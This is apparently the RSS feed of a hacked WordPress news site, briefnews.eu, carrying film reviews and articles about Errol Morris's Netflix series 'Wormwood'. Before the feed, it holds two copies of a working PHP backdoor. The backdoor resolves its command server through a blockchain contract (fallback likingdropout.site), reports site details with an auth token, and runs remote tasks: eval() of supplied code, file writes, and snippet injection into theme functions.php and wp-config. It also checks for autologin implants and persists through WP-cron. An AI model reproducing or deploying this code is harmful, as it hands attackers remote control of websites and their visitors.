// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Errol – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 17 Dec 2017 02:42:42 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Errol – Brief News https://briefnews.eu 32 32 ‘Wormwood’ Review: Errol Morris’ Netflix Project Hauntingly Blends Fact and Fiction https://briefnews.eu/wormwood-review-errol-morris-netflix-project-hauntingly-blends-fact-and-fiction/ https://briefnews.eu/wormwood-review-errol-morris-netflix-project-hauntingly-blends-fact-and-fiction/#respond Sun, 17 Dec 2017 02:42:42 +0000 http://briefnews.eu/wormwood-review-errol-morris-netflix-project-hauntingly-blends-fact-and-fiction/ Wormwood Review

With Wormwood, documentary filmmaker Errol Morris creates his boldest, most thought provoking film yet. A delirious, haunting blend of talking-head documentary and narrative reenactment; a true crime saga that doubles as a government conspiracy polemic. A saga wrought with mystery, grief, scandal, and puzzlement. There’s never really been anything quite like this.

Dramatic reenactments of real-life moments are so commonplace in documentaries now – particularly true crime documentaries – that it’s easy to forget that there was a time when they were considered taboo. In 1988, director Errol Morris’ documentary The Thin Blue Line flipped the documentary form on its head, examining the murder of a police officer on a lonely stretch of highway, and the clearly innocent man convicted of the crime. Morris’ film made headlines when it lead to the eventual release of the innocent man, but it also had documentary purists furrowing their brows due to the nature of the film.

Unlike most documentaries at the time, The Thin Blue Line was loaded with dramatic reenactments that restaged the events surrounding the murder – a decision that seemed to go against the very nature of what people understood documentaries to be. Yet what came across as unusual and questionable at the time of The Thin Blue Line would eventually become commonplace. Now, whenever you watch a true crime docu-series on TV, dramatic re-enactments are abundant, and other documentary feature filmmakers have adopted them as well.

Morris takes dramatic re-enactments to an entirely new level with his latest film, Wormwood. In fact, there are so many dramatic re-enactments here that I’m not entirely sure you can even classify this film as strictly a documentary. Instead, Wormwood is an engrossing, strange, haunting work of art that blends fact and fiction, fantasy and reality, in a possibly fruitless quest for the truth – or at least some version of the truth.

At the center of Wormwood is Eric Olson, a sharp-witted, droll man still haunted by the death of his father, Frank Olson, a biochemist with CIA ties. In 1953, Frank Olson died after a fall from a window on the thirteenth-floor hotel room at the Hotel Statler in New York. And there’s the rub: did Frank jump from the window, committing suicide – or was he pushed? The Olson family always had their questions about the event, and in 1975 they received a possible answer: the United States government revealed that, as part of the CIA’s top secret MKULTRA program – a program that strove to learn the secrets of mind control, among other things – Frank had been unknowingly dosed with LSD nine days before his death. According to the government, it was a mental breakdown caused by the LSD that caused Frank to take his own life. The government issued an apology, provided the Olson family with some monetary compensation, and swore to never do anything like this again.

Wormwood Errol Morris

Case closed, right? Maybe not. Eric Olson has, understandably, never been able to let this go, and the more he’s dug into the events, the more he’s come to believe that his father was deliberately pushed from that hotel window – pushed because he had learned some particularly damning secrets involving the government.

It’s a juicy story, wrought with the type of government conspiracies that would make Oliver Stone start howling with excitement like a cartoon wolf in a Tex Avery cartoon. But if you’re looking for definitive answers, you won’t find them in Wormwood. In fact, I’m not even sure Morris is interested in the answer. What he is interested in, however, is the story. Or stories, to be precise, because Wormwood presents several different possible solutions to what happened to Frank Olson. And that’s where the dramatic re-enactments come in.

The reenactments in The Thin Blue Line, and Morris’ other documentaries, are often vague and expressionistic. We rarely see the faces of the actors portraying the real-life subjects – they tend to be shot at angles that shroud them in shadow, perhaps to keep us from realizing the actor playing the part doesn’t entirely look like their real-life subject. But that’s not the case with Wormwood. Here, Morris stages the reenactments as a full-blown feature film, with recognizable actors stepping into the parts.

Peter Sarsgaard plays the late Frank Olson, and we watch as he slowly unravels before our eyes. Sarsgaard’s Olson is at the center of a shadowy, unsettling scenario that involves loaded glances, smoke filled rooms, and a constant air of menace. Other actors show up as well: Tim Blake Nelson, adopting a creepy stutter, and Bob Balaban, possessing an eerie calmness, play Frank’s work associates who are clearly up to no good, and Molly Parker plays Frank’s suffering, confused wife.

Throughout Wormwood, Morris cuts back and forth between long stretches of narrative feature to interviews with Eric Olson and other figures associated with the case. The effect can often be jarring – sometimes, we stay so long in a narrative reenactment stretch that we almost forget about the interview segments, and vice versa. It’s an overall curious approach to this material, and I’m not entirely sure if it makes much sense from a technical standpoint. Yet at the same time, Wormwood becomes all the more engrossing and hypnotic as it unfolds across a lengthy six hour runtime. No stone is left unturned here, yet there are no real answers. And perhaps that’s what Morris is most fascinated by: the attempt to tell a story without knowing the ending.

Wormwood is firmly an Errol Morris documentary – like most of Morris’ films, Morris makes his presence known, flinging out questions or droll statements from off camera during interview segments. Yet the filmmaker also abandons his tried and true techniques. There’s no sign of Morris’ “Interrotron” here – a machine the filmmaker uses that enables his subjects to speak directly to the camera. Instead, Morris opts for a wider frame, with the camera further away from the subject – Eric Olson is sometimes sitting slightly to the side of the camera, looking off into an unseen distance. Here, unlike other Morris docs, the interview subjects aren’t addressing the audience directly – they’re instead shooting their questions and answers out into the void of time, waiting for a response that will never arrive.

In the end, Wormwood is unlike anything you’ve seen before. It’s bold, inventive, and exhausting. Just when you think you’ve solved the mystery, Morris resets the timeline and says, “Ah, but what if it actually happened this way?” The effect is disorienting, yet strangely rewarding. Morris isn’t so much trying to solve a mystery as he is trying to let Eric Olson tell his story. At times, Eric compares himself to Hamlet – a lone figure still haunted by his father’s ghost. But one should take care before comparing oneself to that doomed Dane – after all, Hamlet’s quest drove him to madness.

Wormwood is now streaming on Netflix.

The post ‘Wormwood’ Review: Errol Morris’ Netflix Project Hauntingly Blends Fact and Fiction appeared first on /Film.

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]]> https://briefnews.eu/wormwood-review-errol-morris-netflix-project-hauntingly-blends-fact-and-fiction/feed/ 0 ‘Wormwood’ Trailer: Errol Morris Uncovers a CIA Conspiracy https://briefnews.eu/wormwood-trailer-errol-morris-uncovers-a-cia-conspiracy/ https://briefnews.eu/wormwood-trailer-errol-morris-uncovers-a-cia-conspiracy/#respond Tue, 05 Dec 2017 08:12:31 +0000 http://briefnews.eu/wormwood-trailer-errol-morris-uncovers-a-cia-conspiracy/ Wormwood trailer

Sooner or later, Netflix gets everyone. Renowned documentary filmmaker Errol Morris is bringing his unmatched talents to the streaming platform with Wormwood, a genre-blending mix of documentary and narrative drama. Wormwood examines the can’t-believe-it’s-true story of one man’s search to discover what caused his father’s death. Was it suicide, or did a more nefarious conspiracy involving the CIA play a part? The Wormwood trailer teases the shocking saga ahead of its release this month.

Errol Morris has frequently employed dramatic reenactments for his documentary features. His acclaimed, ground-breaking The Thin Blue Line, which recreated events involving the murder of a police officer at a traffic stop, broke the mold and seemingly inspired every true crime documentary made ever since. But his latest doc Wormwood takes things to the next level. While still using Morris’ trademark talking-head style interviews with subjects, Wormwood also features long stretches of dramatic narrative reenactments featuring actors Peter Sarsgaard, Molly Parker, Tim Blake Nelson, Jimmi Simpson and Bob Balaban. The results are striking, and really unlike any documentary in recent memory. This Wormwood trailer gives you a glimpse of what to expect.

Wormwood trailer 

Wormwood focuses on Frank Olson (played by Sarsgaard), a CIA employee who met an untimely end in 1953 when he leapt to his death from the window of a thirteenth-floor hotel room. Or did he? Olson’s family, including his son Eric Olson, began to suspect there was foul play involved with the death, sparking a lengthy investigation that spanned decades and uncovered previously buried CIA secrets. Here’s the official synopsis:

Directed by boundary-breaking filmmaker Errol Morris, Wormwood explores the limits of knowledge about the past and the lengths we’ll go in our search for the truth through the story of one man’s sixty-year quest to identify the circumstances of his father’s mysterious death. Combining a virtuosic performance by Peter Sarsgaard with Morris’ legendary interview style, Wormwood examines this case from every possible angle, bringing the viewer face-to-face with some of the United States’ darkest secrets.

Morris is yet another high profile filmmaker who has been wooed by the folks at Netflix. The streaming giant already counts acclaimed filmmakers like Bong Joon-ho, Angelina Jolie, Noah Baumbach, and Cary Fukunaga among its ranks. Morris recently talked to Film Comment about working with Netflix and creating the episodic series:

“[I]t’s episodic, so you have, in some sense, six separate films which are joined together. There’s that ongoing issue of, how do you keep people interested, the necessity of constructing cliffhangers at the end of each episode to keep people coming back for more. And it allowed me to play all kinds of different games than I would have been able to play in something that was a straight feature. Maybe not impossible but certainly more difficult.”

Wormwood arrives on Netflix December 15, 2017.

 

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]]> https://briefnews.eu/wormwood-trailer-errol-morris-uncovers-a-cia-conspiracy/feed/ 0 Errol Morris on Creating the “Everything Bagel” of His New Netflix Series ‘Wormwood’ https://briefnews.eu/errol-morris-on-creating-the-everything-bagel-of-his-new-netflix-series-wormwood/ https://briefnews.eu/errol-morris-on-creating-the-everything-bagel-of-his-new-netflix-series-wormwood/#respond Tue, 14 Nov 2017 00:20:22 +0000 http://briefnews.eu/errol-morris-on-creating-the-everything-bagel-of-his-new-netflix-series-wormwood/ “Even before I had picked this subject, how it was initially sold to Netflix was as ‘the everything bagel’,” Errol Morris explained. It was late on a Friday night, and he was speaking in front of a DOC NYC crowd that had just – for lack of a less roadworn word – binged the entirety of his forthcoming Netflix miniseries Wormwood. The metaphor, which he stressed included “everything but raisins, because I don’t believe raisins belong in bagels,” was that he would combine the tools of fiction and nonfiction film to tell this story: new interviews, archival films, documents, newspaper clippings, drama, and reenactments, “and I see drama and reenactments being very different kinds of things.” The wall between narrative and documentary, which he began poking holes through with his groundbreaking 1988 true crime documentary The Thin Blue Line, would finally just tumble down.

“I didn’t know whether it would work,” he shrugged Friday. “I didn’t know if combining all of these elements would work. And I should probably let you be the judge.”

I can’t speak for the other judges, but to these eyes (admittedly, those of a Morris admirer from the Thin Blue Line days), Wormwood is a gripping piece of work, thrilling in its formal innovations, audacious in its investigative tendencies, melancholy in its mood. Its subject, at least ostensibly, is the death of Frank Olsen, a CIA-employed scientist who went out of his window on the 13th floor of a Manhattan hotel late one night in November of 1953. His family was told he “fell or jumped,” which is an odd explanation. “How do these terms comport with each other?” his son Eric would ask.

Eric was just a boy at the time of his father’s “accident,” but he was an adult in 1975, when the release of the Rockefeller Report on the CIA included details of his father’s work with the agency, and the revelation that he had been dosed with LSD without his knowledge, which could have contributed to his death. President Ford apologized (carefully, and under specific guidance from Donald Rumsfeld and Dick Cheney, of course) but as time passed, the consistency of the cover story grew shakier.

